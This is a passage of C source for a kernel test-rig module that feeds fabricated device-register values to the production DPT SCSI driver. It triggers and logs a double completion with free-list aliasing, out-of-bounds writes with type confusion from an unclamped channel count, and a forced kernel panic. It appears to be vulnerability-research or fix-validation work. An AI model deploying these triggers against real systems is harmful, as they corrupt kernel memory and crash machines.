dpt_intr()\n", target, busaddr, ia_eoc, ia_hba, ia_scsi, ia_serr ? " SERROR" : "", ia_dpth ? " 'DPTH'" : ""); lockmgr(&rig_lock, LK_EXCLUSIVE); dpt_intr(dpt); /* PRODUCTION */ /* capture while still holding the lock: the CAM SWI * (camisr_runqueue) needs this lock, so the double-xpt_done * detonation cannot race our evidence capture */ bzero(st, sizeof(*st)); rig_capture(st, ia_ccb); kprintf("[dptrig] INTR post: dccb_state=%u free_head=0x%llx " "selfloop=%u dups=%u walk=%u softc_ctr=%u pending=%u\n", st->dccb_state, (unsigned long long)st->free_head, st->free_selfloop, st->free_dups, st->free_walk, st->free_softc_ctr, st->pending_walk); lockmgr(&rig_lock, LK_RELEASE); kprintf("[dptrig] INTR returned\n"); break; } case RIGIOC_DUPALIAS: { dpt_ccb_t *target; uint32_t busaddr; int id2, id3; st = (struct rig_state *)data; if (st->ccb_id >= (uint32_t)ncctx || cctx[st->ccb_id].dccb == NULL) return (EINVAL); target = cctx[st->ccb_id].dccb; busaddr = cctx[st->ccb_id].dccb_busaddr; /* the device delivers a DUPLICATE of the completion it * already sent for this dccb */ dpt->sp->hba_stat = HA_NO_ERROR; dpt->sp->EOC = 1; dpt->sp->scsi_stat = SCSI_STATUS_OK; dpt->sp->residue_len = 0; dpt->sp->ccb_busaddr = busaddr; regpage[HA_RSTATUS] = 0; kprintf("[dptrig] DUPALIAS: duplicate packet for dccb=%p " "busaddr=0x%08x (already completed once) -> production " "dpt_intr()\n", target, busaddr); lockmgr(&rig_lock, LK_EXCLUSIVE); dpt_intr(dpt); /* PRODUCTION: double-completes dccb */ bzero(st, sizeof(*st)); rig_capture(st, st->ccb_id); kprintf("[dptrig] DUP post: free_head=0x%llx " "second=0x%llx SELFLOOP=%u dups=%u walk=%u ctr=%u\n", (unsigned long long)st->free_head, (unsigned long long)st->free_second, st->free_selfloop, st->free_dups, st->free_walk, st->free_softc_ctr); /* aliasing: two more XPT_SCSI_IOs through production * dpt_action -- both dptgetccb pops must return the SAME * (twice-inserted) dccb */ id2 = rig_queue_one(60000); id3 = rig_queue_one(60000); st->ccb_kva = (uint64_t)(uintptr_t) (id2 >= 0 ? cctx[id2].dccb : NULL); st->free_head = (uint64_t)(uintptr_t) (id3 >= 0 ? cctx[id3].dccb : NULL); st->free_selfloop = (id2 >= 0 && id3 >= 0 && cctx[id2].dccb == cctx[id3].dccb); st->ccb_status = id2 >= 0 ? cctx[id2].ccb->ccb_h.status : 0; st->comp_count = id3 >= 0 ? cctx[id3].ccb->ccb_h.status : 0; kprintf("[dptrig] ALIAS: queue#%d dccb=%p queue#%d " "dccb=%p SHARED=%u (two in-flight CCBs on ONE dccb)\n", id2, id2 >= 0 ? cctx[id2].dccb : NULL, id3, id3 >= 0 ? cctx[id3].dccb : NULL, st->free_selfloop); lockmgr(&rig_lock, LK_RELEASE); kprintf("[dptrig] DUPALIAS: lock released -- the second " "xpt_done() already re-enqueued the completed CCB on " "sim_doneq; camisr_runqueue() is expected to detonate " "on the corrupt list now\n"); break; } case RIGIOC_ALIAS: { int id2, id3; st = (struct rig_state *)data; id2 = rig_queue_one(60000); id3 = rig_queue_one(60000); if (id2 < 0 || id3 < 0) return (ENOMEM); bzero(st, sizeof(*st)); st->ccb_id = (uint32_t)id2; st->ccb_kva = (uint64_t)(uintptr_t)cctx[id2].dccb; st->free_head = (uint64_t)(uintptr_t)cctx[id3].dccb; /* the two lines above ARE the evidence if equal */ st->free_selfloop = (cctx[id2].dccb != NULL && cctx[id2].dccb == cctx[id3].dccb); st->ccb_status = cctx[id2].ccb->ccb_h.status; st->comp_count = cctx[id3].ccb->ccb_h.status; kprintf("[dptrig] ALIAS: queue#%d dccb=%p queue#%d " "dccb=%p SHARED=%u\n", id2, cctx[id2].dccb, id3, cctx[id3].dccb, st->free_selfloop); break; } case RIGIOC_CHAN8: { struct rig_chan8_args *ca = (struct rig_chan8_args *)data; size_t scsz = sizeof(dpt_softc_t); size_t off_sims, off_paths, off_end; int i, k; uint64_t *slot; uint8_t *p; if (dpt2 != NULL) { /* allow repeat CHAN8 runs (fix-validation): each * call fabricates a fresh softc; the old one is * abandoned (test rig only) */ kprintf("[dptrig] CHAN8: prior softc2 abandoned, " "fabricating a fresh one\n"); } if (regpage == NULL) { /* CHAN8-only boot: registers still needed, the * probes dpt_attach triggers call * dpt_send_eata_command on softc2 */ regpage = kmalloc(PAGE_SIZE, M_DEVBUF, M_INTWAIT | M_ZERO); regpage[HA_RAUXSTAT] = HA_AIRQ; } dpt2_buf = kmalloc(scsz + RIG_PAD, M_DEVBUF, M_INTWAIT); memset(dpt2_buf, 0xAA, scsz + RIG_PAD); /* poison */ bzero(dpt2_buf, scsz); dpt2 = (dpt_softc_t *)dpt2_buf; dpt2->tag = X86_64_BUS_SPACE_MEM; dpt2->bsh = (bus_space_handle_t)(uintptr_t)regpage; SLIST_INIT(&dpt2->free_dccb_list); LIST_INIT(&dpt2->pending_ccb_list); SLIST_INIT(&dpt2->sg_maps); if (rig_make_softc(dpt2, RIG_UNIT2, RIG_MAX_DCCBS) != 0) return (ENXIO); off_sims = offsetof(dpt_softc_t, sims); off_paths = offsetof(dpt_softc_t, paths); kprintf("[dptrig] CHAN8: softc2=%p sizeof=%zu " "off(sims)=%zu off(paths)=%zu " "(&sims[3]-&paths[0]=%zd bytes)\n", dpt2, scsz, off_sims, off_paths, (ssize_t)((uintptr_t)&dpt2->sims[3] - (uintptr_t)&dpt2->paths[0])); /* canaries in the members the OOB stores will hit */ ca->canary_cp_before = 0x41414141; ca->canary_li_before = 0x42424242; dpt2->commands_processed = 0x41414141; dpt2->lost_interrupts = 0x42424242; /* device-fed channel count: dpt_init computes * channels = conf.MAX_CHAN + 1 (dpt_scsi.c:1313) with no * clamp against MAX_CHANNELS (dpt.h:127) */ dpt2->channels = ca->channels; kprintf("[dptrig] CHAN8: channels=%u (MAX_CHAN=%u) " "max_dccbs=%u -> PRODUCTION dpt_attach()\n", dpt2->channels, dpt2->channels - 1, dpt2->max_dccbs); cam_sim_lock(&sim_mplock); /* dpt_attach takes sim_mplock sims */ ca->attach_ret = (uint32_t)dpt_attach(dpt2); /* PRODUCTION */ cam_sim_unlock(&sim_mplock); ca->channels_after = dpt2->channels; ca->canary_cp_after = dpt2->commands_processed; ca->canary_li_after = dpt2->lost_interrupts; /* dump the 10 OOB store slots (values now resident) */ for (i = 3; i < 8; i++) { slot = (uint64_t *)(void *)((uint8_t *)dpt2 + off_sims + 8 * i); ca->oob_slot[i - 3] = *slot; /* sims[i] */ ca->member_off[i - 3] = off_sims + 8 * i; kprintf("[dptrig] CHAN8 OOB: &sims[%d] " "(+%zu) = %p (cam_sim*) [aliases %s]\n", i, off_sims + 8 * i, (void *)(uintptr_t)*slot, (off_sims + 8 * i) == off_paths ? "paths[0]" : "paths[1..2]/beyond"); } for (i = 3; i < 8; i++) { slot = (uint64_t *)(void *)((uint8_t *)dpt2 + off_paths + 8 * i); ca->oob_slot[5 + (i - 3)] = *slot; /* paths[i] */ ca->member_off[5 + (i - 3)] = off_paths + 8 * i; kprintf("[dptrig] CHAN8 OOB: &paths[%d] " "(+%zu) = %p (cam_path* written by " "xpt_create_path)\n", i, off_paths + 8 * i, (void *)(uintptr_t)*slot); } ca->path3_is_sim = ((uint64_t)(uintptr_t)dpt2->paths[0] == ca->oob_slot[5 + 0]) ? 0 : 1; { uint64_t v = *(uint64_t *)(void *) ((uint8_t *)dpt2 + off_paths); ca->path3_is_sim = (v == ca->oob_slot[0]); /* sims[3] value */ kprintf("[dptrig] CHAN8: paths[0]=%p vs " "sims[3]=%p -> paths[0] holds a SIM pointer: " "%s\n", (void *)(uintptr_t)v, (void *)(uintptr_t)ca->oob_slot[0], ca->path3_is_sim ? "YES (type confusion)" : "no"); } /* count OOB stores that ran past the softc entirely */ off_end = scsz & ~7; ca->runaway = 0; for (k = 0, p = dpt2_buf + off_end; k < (int)(RIG_PAD - 64); k += 8, p += 8) { uint64_t v = *(uint64_t *)(void *)p; if (v != 0xAAAAAAAAAAAAAAAAull) ca->runaway++; } kprintf("[dptrig] CHAN8: attach_ret=%u channels " "before=%u after=%u canary cp 0x%x->0x%x li " "0x%x->0x%x runaway_stores_past_softc=%u\n", ca->attach_ret, ca->channels, ca->channels_after, ca->canary_cp_before, ca->canary_cp_after, ca->canary_li_before, ca->canary_li_after, ca->runaway); kprintf("[dptrig] CHAN8 NOTE: attach_ret>channels-1 means " "the loop-bound field itself was corrupted mid-loop " "(feedback runaway)\n"); break; } case RIGIOC_PANIC: { /* DF-4242: device-fed HA_SERROR + 'DPTH' signature -> * production dpt_intr panics. No in-flight ccb is even * needed: the panic happens before ccb is touched. */ struct rig_panic_args *pa = (struct rig_panic_args *)data; uint32_t busaddr = dpt->dpt_ccb_busbase; if (pa->ccb_id < (uint32_t)ncctx && cctx[pa->ccb_id].dccb != NULL) busaddr = cctx[pa->ccb_id].dccb_busaddr; dpt->sp->hba_stat = HA_NO_ERROR; dpt->sp->EOC = 1; dpt->sp->scsi_stat = SCSI_STATUS_OK; dpt->sp->residue_len = 0; dpt->sp->ccb_busaddr = busaddr; regpage[2] = 'D'; regpage[3] = 'P'; regpage[4] = 'T'; regpage[5] = 'H'; regpage[HA_RSTATUS] = HA_SERROR; kprintf("[dptrig] PANIC: registers spell 'DPTH' + " "HA_SERROR, sp in range -> production dpt_intr() " "MUST panic(\"DPT Rebooted\")\n"); regpage[HA_RAUXSTAT] = HA_AIRQ; dpt_intr(dpt); /* PRODUCTION -- not expected to return */ kprintf("[dptrig] PANIC: dpt_intr RETURNED (unexpected!)\n"); break; } case RIGIOC_FULLINIT: { struct rig_chan8_args *ca = (struct rig_chan8_args *)data; return (rig_fullinit(ca)); } default: return (ENOTTY); } return (0); } /* ------------------------------------------------------------------ */ /* module boilerplate */ /* ------------------------------------------------------------------ */ static int dfdpt_modevent(module_t mod, int type, void *data) { switch (type) { case MOD_LOAD: rig_cdev = make_dev(&rig_ops, 0, UID_ROOT, GID_WHEEL, 0600, "dfdpt%d", 0); kprintf("[dptrig] dfdpt rig loaded (prime kern.dfdpt_a_* " "then open /dev/dfdpt0)\n"); return (0); case MOD_UNLOAD: if (dpt != NULL || dpt2 != NULL) { kprintf("[dptrig] refusing unload while rig is set " "up (reboot instead)\n"); return (EBUSY); } if (rig_cdev != NULL) destroy_dev(rig_cdev); return (0); default: return (EOPNOTSUPP); } } DEV_MODULE(dfdpt_rig, dfdpt_modevent, NULL); |